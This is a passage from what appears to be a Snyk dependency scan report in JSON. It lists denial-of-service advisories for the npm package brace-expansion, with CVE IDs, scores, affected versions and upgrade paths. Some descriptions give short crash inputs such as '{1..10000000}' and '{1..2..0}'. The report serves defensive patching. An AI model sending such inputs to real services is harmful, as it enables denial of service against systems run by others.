"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.22128", "probability": "0.00300", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-18T02:01:26.570047Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.38245", "probability": "0.00466", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:14.560643Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.47168", "probability": "0.00623", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:37.934109Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.34118", "probability": "0.00430", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-16T02:01:19.320993Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.22128", "probability": "0.00300", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-18T02:01:26.570047Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", 